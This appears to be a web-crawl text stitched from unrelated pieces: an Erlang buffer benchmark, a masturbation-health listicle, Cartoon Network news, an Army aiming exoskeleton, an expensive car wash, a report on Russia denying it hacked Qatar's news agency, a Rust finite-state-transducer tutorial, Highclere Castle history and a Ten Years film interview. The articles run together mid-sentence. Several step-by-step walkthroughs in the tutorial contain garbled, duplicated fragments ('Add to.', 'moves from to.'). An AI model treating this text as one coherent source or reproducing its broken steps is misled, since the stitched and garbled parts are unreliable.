These processes have nothing in common, share no memory and can only communicate by sending themselves messages. In particular, each process has its own separate heap, and is garbage collected separately to other processes. Therefore, whatever data is allocated by the tracer process code will not put any GC pressure on the buffer. Only the data we’re actually pushing to the buffer will be considered during buffer’s GC, and can thus affect the latency of buffer operations. This approach demonstrates a great benefit of Erlang. By running different things in separate processes, we can prevent GC pressure in one process to affect others in the system. I’m not aware of any other lightweight concurrency platform which provides such guarantees.
The test first starts with a brief “stretch” warmup. I create the buffer with the maximum capacity of 200k items (the number used in the Pusher benches). Then, I push 200k items, then pull all of them, and then again push 200k items. At the end of the warmup, the buffer is at its maximum capacity.
Then the bench starts. I’m issuing 2,000,000 requests in cycles of 15 pushes followed by 5 pulls. The buffer therefore mostly operates in the “overflow” mode. In total, 1,000,000 pushes are performed on the full buffer, with further 500,000 pushes on a nearly full buffer. The items being pushed are 1024 bytes Erlang binares, and each item is different from others, meaning the test will create 1,500,000 different items.
The bench code resides here. The full project is available here. I’ve benched it using Erlang 19.1 and Elixir 1.3.4, which I installed with the asdf version manager. The tests are performed on my 2011 iMac (3,4 GHz Intel Core i7).
Functional implementation
First, I’ll try with what I consider an idiomatic approach in Elixir and Erlang - a purely functional implementation, based on the :queue module. According to docs, this module implements a double-ended FIFO queue in an efficient manner with most operations having an amortized O(1) running time. The API of the module provides most of the things needed. I can use :queue.in/2 and :queue.out/2 to push/pull items. There is no direct support for setting the maximum size, but it’s fairly simple to implement this on top of the :queue module. You can find my implementation here.
When I originally read the Pusher articles, I was pretty certain that such implementation will lead to some larger latency spikes. While there’s no stop-the-world GC in Erlang, there is still stop-the-process GC. An Erlang process starts with a fairly small heap (~ 2 Kb), and if it needs to allocate more than that, then the process is GC-ed and its heap is possibly expanded. For more details on GC, I recommend this article and this one.
In our test, this means that the buffer process will pretty soon expand to some large heap which needs to accommodate 200k items. Then, as we
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, but also what they may have feared.
4. Masturbation can help you achieve orgasm during intercourse
If you find it difficult to achieve sexual satisfaction with a partner, you should first work on finding it on your own. “Regular masturbation will teach you how your body responds sexually,” explains Golden. Being able to communicate your findings to a partner will allow him or her to please you in the way that works for you. However, Golden does warn that the way you masturbate can work against this goal. “If there is excessive reliance on pornography, or if masturbation is done with rough materials or face down on a surface, it becomes harder to duplicate this with a partner.”
5. Masturbation keeps your motor running
Golden confirms our worst fear: “The old expression, ‘if you don’t use it, you lose it,’ is actually true.” In the end, it comes down to a simple bit of science. “In order to be able to function sexually we need a supply of nitric oxide in our blood. Sexual activity in any form maintains levels of this chemical,” she explains. A prolonged dry spell can make it more difficult to achieve erections or lubrication. But if it’s been a while, fear not! “It is possible, with some time, to promote this chemical again and restore functioning,” Golden says.
6. Masturbation can help with insomnia
If you find yourself stuck in bed watching the late night hours slowly become the early morning, it could be time to try a new sleep aid. “Just as people fall into a deep sleep after sex with a partner, because blood pressure is lowered and relaxation is increased through the release of endorphins, masturbation is a good sleeping pill,” says Golden. “It is relied on by many as a nightly occurrence.” Well, there’s no denying that it sounds more appealing than a glass of warm milk. Sweet dreams.
Don’t miss out! Sign up for our free weekly newsletters and get nutritious recipes, healthy weight-loss tips, easy ways to stay in shape and all the health news you need, delivered straight to your inbox.Cartoon Network News In Brief Mid October 2016
Major League Baseball Players To Star In Uncle Grandpa
There will be a baseball themed episode of Uncle Grandpa to celebrate the 2016 World Series Baseball Championship on Cartoon Network USA on Saturday 22nd October at 12.15pm. (ET/PT). The episode will feature the voices of baseball players such as Tampa Bay Rays pitcher Chris Archer, Baltimore Orioles All-Star center fielder Adam Jones, Houston Astros second baseman José Altuve, Boston Red Sox pitcher David Price and New York Mets pitcher Noah Syndergaard. In the episode named “Uncle Baseball”, the professional baseball players help Uncle Grandpa train his struggling little league team on the verge of giving up.
http://www.cbssports.com/mlb/news/five-mlb-players-to-star-in-cartoon-network-show-uncle-grandpa-on-oct-22/
Powerpuff Girls’ Jake Goldman and Haley Mancini Podcast
Powerpuff Girls show writers Jake Goldman and Haley Mancini had an interview with the Down and Nerdy Podcast, during the episode, both Jake and Haley talk about their time writing for the show and for the comic book series.
‘Episode 133 – An Interview with Haley Mancini and Jake Goldman from The Powerpuff Girls’ on #SoundCloud #np https://t.co/CZKfRNmKb5 — CartoonNetworkPR (@CartoonNetPR) October 17, 2016
Neil deGrasse Tyson Stars In Regular Show
American astrophysicist and cosmologist – Neil deGrasse Tyson will be making a guest appearance in the upcoming Regular Show: In Space Halloween special – Terror Tales of the Park VI. The episode will air on Cartoon Network USA on Thursday 27th October at 8pm (ET/PT). In episode, the Space Tree gets sucked into a black hole, the park’s staff wake up as ingredients in scientist Neil deGrasse Tyson’s spaghetti. Will Neil let them live, or will he enjoy his “scientific” dinner?
http://deadline.com/2016/10/regular-show-halloween-episode-to-feature-neil-degrasse-tyson-1201837345/
Cartoon Network At MIPJunior
At the MIPJunior convention in Cannes, France last weekend (15/10/2016 – 16/10/2016), Cartoon Network promoted the new Ben 10 series (alongside its other cartoons) with a presentation and a snack lunch session. The show has been premiering on all Cartoon Network feeds around Europe this month, the show is yet to air in the Americas where it will premiere in 2017.Soldiers on the front lines rely on their “marksmanship” skill, as their lives depends on it, so why not use SCI-FI and put it to good use? We have all seen a movie or animated series with soldiers having exoskeletons making them stronger, quicker more powerful…Iron Man and RoboCop come to mind.
Dan Baechle, a mechanical engineer at the U.S. Army Research Laboratory is testing a mechatronic arm exoskeleton that goes by the name MAXFAS. Someone might ask what does the name MAXFAS stands for? The answer is Mobile Arm eXoskeleton for Firearm Aim Stabilization. As the equipment, that soldiers carry, already weighs quite a lot adding MAXFAS, which is made of light carbon material, won’t add much weight but could create a big performance boost and as a result make the soldier more efficient and accurate.
The goal of MAXFAS is to help soldiers take a “shortcut” at achieving better marksmanship results as getting higly skilled usually takes years and years of practice. What MAXFAS does is get rid of arm shakes while you’re shooting and can even differentiate between movements when you are aiming and tremors that occur. Think of a laser pointer and when you point it at something, it’s really hard to keep that red dot at the exact same point the whole time, MAXFAS helps in such cases.
As Baechle said in recent interview: “Soldiers need to be able to aim and shoot accurately and quickly in the chaos of the battlefield, training with MAXFAS could improve soldiers’ accuracy, and reduce current time and ammunition requirements in basic training.”.
The development is still in early stages as currently the MAXFAS can only be fixed in place, but the results are promising as the soldiers who used MAXFAS to train, showed better shooting skills after taking it off and in a few years we could see the first mobile versions that could be used on battlefields – who knows maybe the age of Iron Man and RoboCop isn’t so far away after all.When you have cars like the Bugatti Veyron, Aston Martin One-77 or even the Veneno from the raging bull brand, you will take utmost care towards its up-keep. So where do you actually get your supercar polished so that it is shinning as new every time you take it for a murky spin? If you haven’t yet found that perfect car wash yet, then here’s the deal for you. The Ultimate Shine Car Wash, which like its unparalleled service, is known to be the most expensive car wash ever!
Paul Wilkins, the owner of Scotland-based Ultimate Shine charges a whopping £100,000 (approx. $153,000) for the ultimate car wash. And apparently, the service provided is worth every shiny penny. Wilkins says he performs this service around three times a year for wealthy car enthusiasts, who are willing to shell out the quoted sum. For that big a sum, he is willing to fly out to any part of the world, for mainly those who are serious car collectors.
The extensive service includes decontaminating the car’s body and wheels, polishing it, washing the car with a special alcoholic cleaning agent and last but not the least, using a “secret” ingredient (which would no longer remain a secret after this) – Carnauba wax, made from the leaves of some of the tallest trees in Brazil. This exclusive wax costs £65,000 (approx. $99,700) that ups the price tag of Wilkins car wash service.
Wilkin also creates custom blends of this wax to cater to client preferences. There are even scented waxes available with Wilkin. The Ultimate Shine Car Wash owner claims to be a perfectionist and mind you, he’d return your keys only after the car is spick and span.
For the 99% of us Ultimate Shine has a quick wash and dry offering for £40 ($60).
[Via – The-Ultimate-Shine and Yahoo]Russian officials have angrily rejected allegations that Russian hackers breached Qatar's state news agency and planted a fake story that led to a split between Qatar and other Arab nations.
Dmitry Peskov, spokesman for President Vladimir Putin, today dismissed yesterday's CNN report containing the claim as 'yet another fake, another lie.'
Saudi Arabia, United Arab Emirates, Bahrain, Egypt and Yemen cut diplomatic ties with the tiny Gulf state, accusing Qatar of harboring extremists and backing Saudi Arabia's regional rival, Iran. Qatar has denied the allegations.
Russian Foreign Minister Sergey Lavrov also dismissed CNN's report yesterday, saying it 'further undermined its reputation as an independent and objective media outlet.'
Russian Foreign Minister Sergey Lavrov, right, welcomes Minister of Foreign Affairs of Spain, Alfonso Dastis Quecedo prior to their meeting in Moscow, Russia
Denial: Vladimir Putin's spokesman has denied that Russia hacked the Qatari state news agency to create a rift between Arab nations
'CNN and some other media sit and wait for any kind of scandal... to automatically and without any evidence blame it on Russia or Russian hackers,' he said at a news conference following his talks with Spanish Foreign Minister Alfonso Dastis.
Tensions between Qatar and Saudi Arabia - a Middle East heavyweight - bubbled to the surface two weeks ago when Qatar said its state-run news agency and its Twitter account were hacked to publish a fake story claiming the emir, Sheikh Tamim bin Hamad Al Thani, had called Iran 'a regional and Islamic power that cannot be ignored.'
State-linked media in the region ignored Qatar's denial and continued to report the comments.
Saudi Arabia, the United Arab Emirates, Bahrain and Egypt blocked access to Al Jazeera and launched an aggressive campaign accusing Qatar of supporting terrorist groups like al-Qaida and the Islamic State, destabilizing the region and stabbing its allies in the back.
US president Donald Trump had suggested in tweets that he was responsible for the Arab nations cutting ties with Qatar
Putin had a telephone conversation with the emir of Qatar yesterday, urging dialogue.
Peskov, the Kremlin spokesman, said the allegations of Russian hacking weren't discussed.
Lavrov emphasized that 'it's important to settle any differences at a negotiating table to ease concerns that emerged and pool efforts in the fight against the main regional threat, terrorism.'
Andrei Krutskhikh, the Russian president's special envoy for cybersecurity, told the Interfax news agency that the CNN report contains 'zero evidence' that the Russian government was behind the news story.
Vladimir Dzhabarov, deputy chairman of the foreign affairs committee at the upper chamber of parliament, today dismissed the accusations as 'an attempt to push the US against Russia as key players in the Middle East.'
'The world has gone crazy,' Dzhabarov said. 'Whatever happens, there is a Russian trace there, the trace of Russian hackers.'Index 1,600,000,000 Keys with Automata and Rust
It turns out that finite state machines are useful for things other than expressing computation. Finite state machines can also be used to compactly represent ordered sets or maps of strings that can be searched very quickly.
In this article, I will teach you about finite state machines as a data structure for representing ordered sets and maps. This includes introducing an implementation written in Rust called the fst crate. It comes with complete API documentation. I will also show you how to build them using a simple command line tool. Finally, I will discuss a few experiments culminating in indexing over 1,600,000,000 URLs (134 GB) from the July 2015 Common Crawl Archive.
The technique presented in this article is also how Lucene represents a part of its inverted index.
Along the way, we will talk about memory maps, automaton intersection with regular expressions, fuzzy searching with Levenshtein distance and streaming set operations.
Target audience: Some familiarity with programming and fundamental data structures. No experience with automata theory or Rust is required.
Teaser
As a teaser to show where we’re headed, let’s take a quick look at an example. We won’t look at 1,600,000,000 strings quite yet. Instead, consider ~16,000,000 Wikipedia article titles ( 384 MB ). Here’s how to index them:
$ time fst set --sorted wiki-titles wiki-titles.fst real 0m18.310
The resulting index, wiki-titles.fst, is 157 MB. By comparison, gzip takes 12 seconds and compresses to 91 MB. (For some data sets, our indexing scheme can beat gzip in both speed and compression ratio.)
However, here’s something gzip cannot do: quickly find all article titles starting with Homer the :
$ time fst grep wiki-titles.fst 'Homer the.*' Homer the Clown Homer the Father Homer the Great Homer the Happy Ghost Homer the Heretic Homer the Moe Homer the Smithers... real 0m0.023s
By comparison, grep takes 0.3 seconds on the original uncompressed data.
And finally, for something that even grep cannot do: quickly find all article titles within a certain edit distance of Homer Simpson :
$ time fst fuzzy wiki-titles.fst --distance 2 'Homer Simpson' Home Simpson Homer J Simpson Homer Simpson Homer Simpsons Homer simpson Homer simpsons Hope Simpson Roger Simpson real 0m0.094s
This article is quite long, so if you only came for the fan fare, then you may skip straight to the section where we index 1,600,000,000 keys.
Table of Contents
This article is pretty long, so I’ve put together a table of contents in case you want to skip around.
The first section discusses finite state machines and their use as data structures in the abstract. This section is meant to give you a mental model with which to reason about the data structure. There is no code in this section.
The second section takes the abstraction developed in the first section and demonstrates it with an implementation. This section is mostly intended to be an overview of how to use my fst library. This section contains code. We will discuss some implementation details, but will avoid the weeds. It is okay to skip this section if you don’t care about the code and instead only want to see experiments on real data.
The third and final section demonstrates use of a simple command line tool to build indexes. We will look at some real data sets and attempt to reason about the performance of finite state machines as a data structure.
Finite state machines as data structures
A finite state machine (FSM) is a collection of states and a collection of transitions that move from one state to the next. One state is marked as the start state and zero or more states are marked as final states. An FSM is always in exactly one state at a time.
FSM’s are rather general and can be used to model a number of processes. For example, consider an approximation of the daily life of my cat Cauchy:
Some states are “asleep” or “eating” and some transitions are “food is served” or “something moved.” There aren’t any final states here because that would be unnecessarily morbid!
Notice that the FSM approximates our notion of reality. Cauchy cannot be both playing and asleep at the same time, so it satisfies our condition that the machine is only ever in one state at a time. Also, notice that transitioning from one state to the next only requires a single input from the environment. Namely, being “asleep” carries no memory of whether it was caused by getting tired from playing or from being satisfied after a meal. Regardless of how Cauchy fell asleep, he will always wake up if he hears something moving or if the dinner bell rings.
Cauchy’s finite state machine can perform computation given a sequence of inputs. For example, consider the following inputs:
food is served
loud noise
quiet calm
food digests
If we apply these inputs to the machine above, then Cauchy will move through the following states in order: “asleep,” “eating,” “hiding,” “eating,” “litter box.” Therefore, if we observed that food was served, followed by a loud noise, followed by quiet calm and finally by Cauchy’s digestion, then we could conclude that Cauchy was currently in the litter box.
This particularly silly example demonstrates how general finite state machines truly are. For our purposes, we will need to place a few restrictions on the type of finite state machine we use to implement our ordered set and map data structures.
Ordered sets
An ordered set is like a normal set, except the keys in the set are ordered. That is, an ordered set provides ordered iteration over its keys. Typically, an ordered set is implemented with a binary search tree or a btree, and an unordered set is implemented with a hash table. In our case, we will look at an implementation that uses a deterministic acyclic finite state acceptor (abbreviated FSA).
A deterministic acyclic finite state acceptor is a finite state machine that is:
Deterministic. This means that at any given state, there is at most one transition that can be traversed for any input. Acyclic. This means that it is impossible to visit a state that has already been visited. An acceptor. This means that the finite state machine “accepts” a particular sequence of inputs if and only if it is in a “final” state at the end of the sequence of inputs. (This criterion, unlike the former two, will change when we look at ordered maps in the next section.)
How can we use these properties to represent a set? The trick is to store the keys of the set in the transitions of the machine. This way, given a sequence of inputs (i.e., characters), we can tell whether the key is in the set based on whether evaluating the FSA ends in a final state.
Consider a set with one key “jul.” The FSA looks like this:
Consider what happens if we ask the FSA if it contains the key “jul.” We need to process the characters in order:
Given j, the FSA moves from the start state 0 to 1.
, the FSA moves from the start state to. Given u, the FSA moves from 1 to 2.
, the FSA moves from to. Given l, the FSA moves from 2 to 3.
Since all members of the key have been fed to the FSA, we can now ask: is the FSA in a final state? It is (notice the double circle around state 3 ), so we can say that jul is in the set.
Consider what happens when we test a key that is not in the set. For example, jun :
Given j, the FSA moves from the start state 0 to 1.
, the FSA moves from the start state to. Given u, the FSA moves from 1 to 2.
, the FSA moves from to. Given n, the FSA cannot move. Processing stops.
The FSA cannot move because the only transition out of state 2 is l, but the current input is n. Since l!= n, the FSA cannot follow that transition. As soon as the FSA cannot move given an input, it can conclude that the key is not in the set. There’s no need to process the input further.
Consider another key, ju :
Given j, the FSA moves from the start state 0 to 1.
, the FSA moves from the start state to. Given u, the FSA moves from 1 to 2.
In this case, the entire input is exhausted and the FSA is in state 2. To determine whether ju is in the set, it must ask whether 2 is a final state or not. Since it is not, it can report that the ju key is not in the set.
It is worth pointing out here that the number of steps required to confirm whether a key is in the set or not is bounded by the number of characters in the key! That is, the time it takes to lookup a key is not related at all to the size of the set.
Let’s add another key to the set to see what it looks like. The following FSA represents an ordered set with keys “jul” and “mar”:
The FSA has grown a little more complex. The start state 0 now has two transitions: j and m. Therefore, given the key mar, it will first follow the m transition.
There’s one other important thing to notice here: the state 3 is shared between the jul and mar keys. Namely, the state 3 has two transitions entering it: l and r. This sharing of states between keys is really important, because it enables us to store more information in a smaller space.
Let’s see what happens when we add jun to our set, which shares a common prefix with jul :
Do you see the difference? It’s a small change. This FSA looks very much like the previous one. There’s only one difference: a new transition, n, from states 5 to 3 has been added. Notably, the FSA has no new states! Since both jun and jul share the prefix ju, those states can be reused for both keys.
Let’s switch things up a little bit and look at a set with the following keys: october, november and december :
Since all three keys share the suffix ber in common, it is only encoded into the FSA exactly once. Two of the keys share an even bigger suffix: ember, which is also encoded into the FSA exactly once.
Before moving on to ordered maps, we should take a moment and convince ourselves that this is indeed an ordered set. Namely, given an FSA, how can we iterate over the keys in the set?
To demonstrate this, let’s use a set we built earlier with the keys jul, jun and mar :
We can enumerate all keys in the set by walking the entire FSA by following transitions in lexicographic order. For example:
Initialize at state 0. key is empty.
. is empty. Move to state 4. Add j to key.
. Add to. Move to state 5. Add u to key.
. Add to. Move to state 3. Add l to key. Emit jul.
. Add to.. Move back to state 5. Drop l from key.
. Drop from. Move to state 3. Add n to key. Emit jun.
. Add to.. Move back to state 5. Drop n from key.
. Drop from. Move back to state 4. Drop u from key.
. Drop from. Move back to state 0. Drop j from key.
. Drop from. Move to state 1. Add m to key.
. Add to. Move to state 2. Add a to key.
. Add to. Move to state 3. Add r to key. Emit mar.
This algorithm is straight-forward to implement with a stack of the states to visit and a stack of transitions that have been followed. It has time complexity O(n) in the number of keys in the set with space complexity O(k) where k is the size of the largest key in the set.
Ordered maps
As with ordered sets, an ordered map is like a map, but with an ordering defined on the keys of the map. Just like sets, ordered maps are typically implemented with a binary search tree or a btree, and unordered maps are typically implemented with a hash table. In our case, we will look at an implementation that uses a deterministic acyclic finite state transducer (abbreviated FST).
A deterministic acyclic finite state transducer is a finite state machine that is (the first two criteria are the same as the previous section):
Deterministic. This means that at any given state, there is at most one transition that can be traversed for any input. Acyclic. This means that it is impossible to visit a state that has already been visited. A transducer. This means that the finite state machine emits a value associated with the specific sequence of inputs given to the machine. A value is emitted if and only if the sequence of inputs causes the machine to end in a final state.
In other words, an FST is just like an FSA, but instead of answering “yes”/“no” given a key, it will answer either “no” or “yes, and here’s the value associated with that key.”
In the previous section, representing a set only required one to store the keys in the transitions of the machine. The machine “accepts” an input sequence if and only if it represents a key in the set. In this case, a map needs to do more than just “accept” an input sequence; it also needs to return a value associated with that key.
One way to associate a value with a key is to attach some data to each transition. Just as an input sequence is consumed to move the machine from state to state, an output sequence can be produced as the machine moves from state to state. This additional “power” makes the machine a transducer.
Let’s take a look at an example of a map with one element, jul, which is associated with the value 7 :
This machine is the same as the corresponding set, except that the first transition j from state 0 to 1 has the output 7 associated with it. The other transitions, u and l, also have an output 0 associated with them that isn’t shown in the image.
As with sets, we can ask the map if it contains the key “jul.” But we also need to return the output. Here’s how the machine processes a key lookup for “jul”:
Initialize value to 0.
to. Given j, the FST moves from the start state 0 to 1. Add 7 to value.
, the FST moves from the start state to. Add to. Given u, the FST moves from 1 to 2. Add 0 to value.
, the FST moves from to. Add to. Given l, the FST moves from 2 to 3. Add 0 to value.
Since all inputs have been fed to the FST, we can now ask: is the FST in a final state? It is, so we know jul is in the map. Additionally, we can report value as the value associated with the key jul, which is 7.
Not so amazing, right? The example is a bit too simplistic. A map with a single key isn’t very instructive. Let’s see what happens when we add mar to the map, associated with the value 3 :
The start state has grown a new transition, m, with an output of 3. If we lookup the key jul, then the process is the same as in the previous map: we’ll get back a value of 7. If we lookup the key mar, then the process looks like this:
Initialize value to 0.
to. Given m, the FST moves from the start state 0 to 1. Add 3 to value.
, the FST moves from the start state to. Add to. Given a, the FST moves from 1 to 2. Add 0 to value.
, the FST moves from to. Add to. Given r, the FST moves from 2 to 3. Add 0 to value.
The only change here—other than following different input transitions—is that 3 was added to value in the first move. Since all subsequent moves add 0 to value, the machine reports 3 as the value associated with mar.
Let’s keep going. What happens when we have keys that share a common prefix? Consider the same map as above, but with the jun key added associated with the value 6 :
As with sets, an additional n transition was added connecting states 5 and 3. But there were two additional changes!
The 0->4 transition for input j had its output changed from 7 to 6. The 5->3 transition for input l had its output changed from 0 to 1.
Those changes in outputs are really important, because it now changes some of the details for looking up the value associated with the key jul :
Initialize value to 0.
to. Given j, the FST moves from the start state 0 to 4. Add 6 to value.
, the FST moves from the start state to. Add to. Given u, the FST moves from 4 to 5. Add 0 to value.
, the FST moves from to. Add to. Given l, the FST moves from 5 to 3. Add 1 to value.
The final value is still 7, but we arrived at the value differently. Instead of adding 7 in the initial j transition, we only added 6, but we made up the extra 1 by adding it in the final l transition.
We should also convince ourselves that looking up the jun key is correct too:
Initialize value to 0.
to. Given j, the FST moves from the start state 0 to 4. Add 6 to value.
, the FST moves from the start state to. Add to. Given u, the FST moves from 4 to 5. Add 0 to value.
, the FST moves from to. Add to. Given n, the FST moves from 5 to 3. Add 0 to value.
The first transition adds 6 to value, but we never add anything more than 0 to value on any subsequent transitions. This is because the jun key does not go through the same final l transition that jul does. In this way, both keys have distinct values, but we’ve done it in a way that shares much of the data structure between keys with common prefixes.
Indeed, the key property that enables this sharing is that each key in the map corresponds to a unique path through the machine. Therefore, there will always be some combination of transitions followed for each key that is unique to that particular key. All we have to do is figure out how to place the outputs along the transitions. (We will see how to do this in the next section.)
This sharing of outputs works for keys with both common prefixes and suffixes too. Consider the keys tuesday and thursday, associated with the values 3 and 5, respectively (for day of the week).
Both keys have a common prefix, t, and a common suffix, sday. Notice that the values associated with the keys also have a common prefix with respect to addition on the values. Namely, 3 can be written as 3 + 0 and 5 can be written as 3 + 2. This idea is captured in the machine; the common prefix t has an output of 3, while the h transition (which is not present in tuesday ) has the output 2 associated with it. Namely, when looking up the key tuesday, the first output on t will be emitted, but the h transition won’t be followed, so the 2 output associated with it won’t be emitted. The rest of the transitions have an output of 0, which does not change the final value emitted.
The way I’ve described outputs might seem a bit restrictive; what if they aren’t integers? Indeed, the types of outputs that can be used in an FST are limited to things with the following operations defined:
Addition.
Subtraction.
Prefix (i.e., find the prefix of two outputs).
Outputs must also have an additive identity, I, such that the following laws hold:
x + I = x
x - I = x
prefix(x, y) = I when x and y do not share a common prefix.
Integers satisfy this algebra trivially (where prefix is defined as min ) with the added benefit that they are very small. Other types can be made to satisfy this algebra, but for now, we will only work with integers.
We only needed to use addition in the above examples, but we will need the other two operations for building a FST. That’s what we’ll cover next.
Construction
In the previous two sections, I have been careful to avoid talking about the construction of finite state machines that are used to represent ordered sets or maps. Namely, construction is a bit more complex than simple traversal.
To keep things simple, we place a restriction on the elements in our set or map: they must be added in lexicographic order. This is an onerous restriction, but we will see later how to mitigate it.
To motivate construction of finite state machines, let’s talk about tries.
Trie construction
A trie can be thought of as a deterministic acyclic finite state acceptor. Therefore, everything you learned in the previous section on ordered sets applies equally well to them. The only difference between a trie and the FSAs shown in this article is that a trie permits the sharing of prefixes between keys while an FSA permits the sharing of both prefixes and suffixes.
Consider a set with the keys mon, tues and thurs. Here is the corresponding FSA that benefits from sharing both prefixes and suffixes:
And here is the corresponding trie, which only shares prefixes:
Notice that there are now three distinct final states, and the keys tues and thurs require duplicating the final transition for s to the final state.
Constructing a trie is reasonably straight-forward. Given a new key to insert, all one needs to do is perform a normal lookup. If the input is exhausted, then the current state should be marked as final. If the machine stops before the input is exhausted because there are no valid transitions to follow, then simply create a new transition and node for each remaining input. The last node created should be marked final.
FSA construction
Recall that the only difference between a trie and an FSA is that an FSA permits the sharing of suffixes between keys. Since a trie is itself an FSA, we could construct a trie and then apply a general minimization algorithm, which would achieve our goal of sharing suffixes.
However, general minimization algorithms can be expensive both in time and space. For example, a trie can often be much larger than an FSA that shares structure between suffixes of keys. Instead, if we can assume that keys are added in lexicographic order, we can do better. The essential trick is realizing that when inserting a new key, any parts of the FSA that don’t share a prefix with the new key can be frozen. Namely, no new key added to the FSA can possibly make that part of the FSA smaller.
Some pictures might help explain this better. Consider again the keys mon, tues and thurs. Since we must add them in lexicographic order, we’ll add mon first, then thurs and then tues. Here’s what the FSA looks like after the first key has been added:
This isn’t so interesting. Here’s what happens when we insert thurs :
The insertion of thurs caused the first key, mon, to be frozen (indicated by blue coloring in the image). When a particular part of the FSA has been frozen, then we know that it will never need to be modified in the future. Namely, since all future keys added will be >= thurs, we know that no future keys will start with mon. This is important because it lets us reuse that part of the automaton without worrying about whether it might change in the future. Stated differently, states that are colored blue are candidates for reuse by other keys.
The dotted lines represent that thurs hasn’t actually been added to the FSA yet. Indeed, adding it requires checking whether there exists any reusable states. Unfortunately, we can’t do that yet. For example, it is true that states 3 and 8 are equivalent: both are final and neither has any transitions. However, it is not true that state 8 will always be equal to state 3. Namely, the next key we add could, for example, be thursday. That would change state 8 to having a d transition, which would make it not equal to state 3. Therefore, we can’t quite conclude what the key thurs looks like in the automaton yet.
Let’s move on to inserting the next key, tues :
In the process of adding tues, we deduced that the hurs part of the thurs key could be frozen. Why? Because no future key inserted could possibly minimize the path taken by hurs since keys are inserted in lexicographic order. For example, we now know that the key thursday cannot ever be part of the set, so we can conclude that the final state of thurs is equivalent to the final state of mon : they are both final and both have no transitions, and this will forever be true.
Notice that state 4 remained dotted: it is possible that state 4 could change upon subsequent key insertions, so we cannot consider it equal to any other state just yet.
Let’s add one more key to drive the point home. Consider the insertion of zon :
We see here that state 4 has finally been frozen because no future insertion after zon can possibly change the state 4. Additionally, we could also conclude that thurs and tues share a common suffix, and that, indeed, states 7 and 9 (from the previous image) are equivalent because neither of them are final and both have a single transition with input s that points to the same state. It is critical that both of their s transitions point to the same state, otherwise we cannot reuse the same structure.
Finally, we must signal that we are done inserting keys. We can now freeze the last portion of the FSA, zon, and look for redundant structure:
And of course, since mon and zon share a common suffix, there is indeed redundant structure. Namely, the state 9 in the previous image is equivalent in every way to state 1. This is only true because states 10 and 11 are also equivalent to states 2 and 3. If that weren’t true, then we couldn’t consider states 9 and 1 equal. For example, if we had inserted the key mom into our set and still assumed that states 9 and 1 were equal, then the resulting FSA would look something like this:
And this would be wrong! Why? Because this FSA will claim that the key zom is in the set—but we never actually added it.
Finally, it is worth noting that the construction algorithm outlined here can run in O(n) time where n is the number of keys. It is easy to see that inserting a key initially into the FST without checking for redundant structure does not take any longer than looping over each character in
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and discovered the tomb of Tutankhamun, in Egypt.
Maintaining Highclere Castle has been a difficult challenge for Lord Carnarvon, who is the head of the Herbert family. When he succeeded, he inherited about 8,000 acres. Some he sold to pay inheritance taxes, and since then he has made over the remainder to his son, Lord Porchester, and his grandson—but kept for himself the castle and his stud farm, amounting to about 600 acres. There are nine different entrances to this domain, which has a circumference of 16 miles, with three lakes on the grounds, and 56 Cedars of Lebanon, planted a good bit over three centuries ago.
Pictures have had to be sold, family silver and a fine pearl necklace also, and over the years, some of the outlying parts of the estate. But Lord Carnarvon was determined not to sell the family seat, and the status quo is preserved. The red-and-blue flag still waves valiantly and proudly from the tower over the castle.
In spite of the upkeep, life here has always been enjoyed in great style. Much attention is paid to detail. For example, when Lord Carnarvon gave a ball for a thousand guests in the 1950s, he wanted the house to be perfect. So the crenellations around the tower, which were falling apart, were reconstructed for the occasion in hardboard, and then floodlighted.
Lord Carnarvon lives at Highclere with a staff of seven. He is now 80, and remembers well his childhood in this house that has been in the family since the 18th century. When he was a small boy, there was a basic resident staff of 23—including a maid whose life was spent concocting preserves.
Lord Carnarvon went into the army when he was 18, and was posted to India with the Seventh Hussars. The problems of inheritance taxes were devastating, yet he managed to invest a considerable sum in modernization of the castle. The time of the lamplighter, who had orders to fill 150 lamps, came finally to an end.
Highclere has a long history. In the days of Edward VI, the Crown took possession of the manor on the site and granted it to another noble family. Over the generations it changed hands, eventually passing into the possession of the Herberts. At the end of the eighteenth century Henry Herbert was created first earl of Carnarvon. From then on, major construction was done: making a park and lakes and rebuilding follies. Later, enormous plantings of azaleas and rhododendrons were made, and then the third earl altered Highclere Castle to the condition it is in now. He turned the place from house to castle with the assistance of Victorian architect Sir Charles Barry. In the custom of the time, the designs were molded along the Gothic lines of the Houses of Parliament.
“My ancestor asked for a really nice house to be built in bath stone,” explains the present owner. “Barry said he couldn’t guarantee that it would last one hundred years, since the stone crumbles, but it is 133 years old now. The foundations are 16 feet deep, and so the castle will probably stand up for at least another 500 years.” The work took three years, and to bring the stone, oxen dragged cartloads 82 miles from the stone quarries near Bath.The young helmer discusses capturing the political zeitgeist in Hong Kong with the controversial omnibus film: "Many people in Hong Kong love their city and are interested and concerned with its future."
The parable of David and Goliath tends to be overused and misapplied these days, but in the case of the small independent Hong Kong film Ten Years and its critics in the Chinese government, the analogy is most fitting.
Made for less than $80,000 with a cast and crew of volunteers, enthusiastic amateurs and film school students, Ten Years is a collection of five short films that present a Hong Kong of the future, asking “what if” questions on a number of local issues. A segment called Extras deals with the harassment faced by pro-democratic protestors; Season of the End touches on the loss of identity wrought by the bulldozers of development; Dialect deals with the creeping dominance of Mandarin over Cantonese; Self-Immolator considers whether hard core believers in Hong Kong independence would adopt the extreme act of self-immolation for their cause; and Local Egg tackles censorship.
The five directors, Ng Ka-leung, Jevons Au, Chow Kwun-Wai, Fei-Pang Wong and Kwok Zune, never expected the film to make it to theaters and Ten Years quietly made its debut at the Hong Kong Asian Film Festival in November last year. From there, through rapid word-of-mouth, the film began to sell out its limited screenings, moving to bigger theaters due to demand and eventually going on to gross 10 times its budget.
One of the film’s directors Jevons Au, who directed the segment Dialect, spoke to THR about why Ten Years needed to be made and why it has struck a chord with the local population.
How did Ten Years come to be made?
From the very beginning, we just wanted to make a film together. We are five guys coming from different universities, but we all wanted to know what the future of Hong Kong will be for our generation. We are of a similar age, but it’s five different points of view, so there’s more perspective to see how Hong Kong will be. We had a very limited budget, so we wanted to make an independent film about Hong Kong issues. For commercial projects, we don’t have a chance to discuss these kinds of topics. We wanted to make a film we wanted to make. We really didn’t expect proper screenings at all.
How do you feel about the positive reaction to the film in Hong Kong?
It was a total surprise to us. We went to the Hong Kong Asian Film Festival and we had a single cinema, then more and more cinemas joined in. Then we went to overseas film festivals. We never planned any of that. We didn’t expect this kind of reaction. Ten Years’ success made me feel that many people in Hong Kong love their city and are interested and concerned with its future. The five issues in the five shorts films are things people are concerned about. I think that’s why it was such a huge success.
